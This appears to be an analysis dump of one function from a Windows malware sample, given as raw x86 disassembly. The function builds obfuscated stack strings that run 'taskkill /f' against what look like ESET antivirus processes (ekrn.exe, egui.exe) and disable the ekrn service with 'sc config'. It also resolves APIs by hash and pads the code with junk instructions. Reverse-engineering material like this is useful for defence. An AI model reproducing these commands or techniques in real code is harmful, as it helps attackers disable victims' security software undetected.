Function at 0x403d13
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x17c
push ebx
push esi
push edi
mov byte [ebp - 0x150], 0x63
mov byte [ebp - 0x14f], 0x6d
mov byte [ebp - 0x14e], 0x64
mov byte [ebp - 0x14d], 0x20
mov byte [ebp - 0x14c], 0x2f
mov byte [ebp - 0x14b], 0x63
mov byte [ebp - 0x14a], 0x20
mov byte [ebp - 0x149], 0x73
mov byte [ebp - 0x148], 0x63
mov byte [ebp - 0x147], 0x20
mov byte [ebp - 0x146], 0x63
mov byte [ebp - 0x145], 0x6f
mov byte [ebp - 0x144], 0x6e
mov byte [ebp - 0x143], 0x66
mov byte [ebp - 0x142], 0x69
mov byte [ebp - 0x141], 0x67
mov byte [ebp - 0x140], 0x20
and byte [ebp - 0x13f], 0
mov byte [ebp - 0x16c], 0x20
mov byte [ebp - 0x16b], 0x73
mov byte [ebp - 0x16a], 0x74
mov byte [ebp - 0x169], 0x61
mov byte [ebp - 0x168], 0x72
mov byte [ebp - 0x167], 0x74
mov byte [ebp - 0x166], 0x3d
mov byte [ebp - 0x165], 0x20
mov byte [ebp - 0x164], 0x64
mov byte [ebp - 0x163], 0x69
mov byte [ebp - 0x162], 0x73
mov byte [ebp - 0x161], 0x61
mov byte [ebp - 0x160], 0x62
mov byte [ebp - 0x15f], 0x6c
mov byte [ebp - 0x15e], 0x65
mov byte [ebp - 0x15d], 0x64
and byte [ebp - 0x15c], 0
mov byte [ebp - 0x2c], 0x63
mov byte [ebp - 0x2b], 0x6d
mov byte [ebp - 0x2a], 0x64
mov byte [ebp - 0x29], 0x2e
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x78
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x20
mov byte [ebp - 0x24], 0x2f
mov byte [ebp - 0x23], 0x63
mov byte [ebp - 0x22], 0x20
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x61
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x6b
mov byte [ebp - 0x1d], 0x6b
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x6c
mov byte [ebp - 0x19], 0x2e
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x78
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x20
mov byte [ebp - 0x14], 0x2f
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x6d
mov byte [ebp - 0x11], 0x20
and byte [ebp - 0x10], 0
mov byte [ebp - 0x158], 0x65
mov byte [ebp - 0x157], 0x6b
mov byte [ebp - 0x156], 0x72
mov byte [ebp - 0x155], 0x6e
and byte [ebp - 0x154], 0
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6b
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6e
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
and byte [ebp - 4], 0
mov byte [ebp - 0x13c], 0x65
mov byte [ebp - 0x13b], 0x67
mov byte [ebp - 0x13a], 0x75
mov byte [ebp - 0x139], 0x69
mov byte [ebp - 0x138], 0x2e
mov byte [ebp - 0x137], 0x65
mov byte [ebp - 0x136], 0x78
mov byte [ebp - 0x135], 0x65
and byte [ebp - 0x134], 0
mov byte [ebp - 0x130], 0x20
mov byte [ebp - 0x12f], 0x2f
mov byte [ebp - 0x12e], 0x66
and byte [ebp - 0x12d], 0
push 0xff
push 0
lea eax, [ebp - 0x12c]
push eax
call fcn.00405050
add esp, 0xc
push 0x401d30
call fcn.00403c6d
pop ecx
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0xe8bf6dad
push 1
call fcn.004021a0
mov dword [ebp - 0x170], eax
push 0
lea eax, [ebp - 0x12c]
push eax
call dword [ebp - 0x170]
nop
pushal
jmp 0x403fac
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x403fb5
popal
push 0x3d9972f5
push 1
call fcn.004021a0
mov dword [ebp - 0x174], eax
push 0x1388
call dword [ebp - 0x174]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x13c]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0xe8bf6dad
push 1
call fcn.004021a0
mov dword [ebp - 0x178], eax
push 0
lea eax, [ebp - 0x12c]
push eax
call dword [ebp - 0x178]
nop
pushal
jmp 0x40405d
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x404066
popal
push 0x3d9972f5
push 1
call fcn.004021a0
mov dword [ebp - 0x17c], eax
push 0x1388
call dword [ebp - 0x17c]
pop edi
pop esi
pop ebx
leave
ret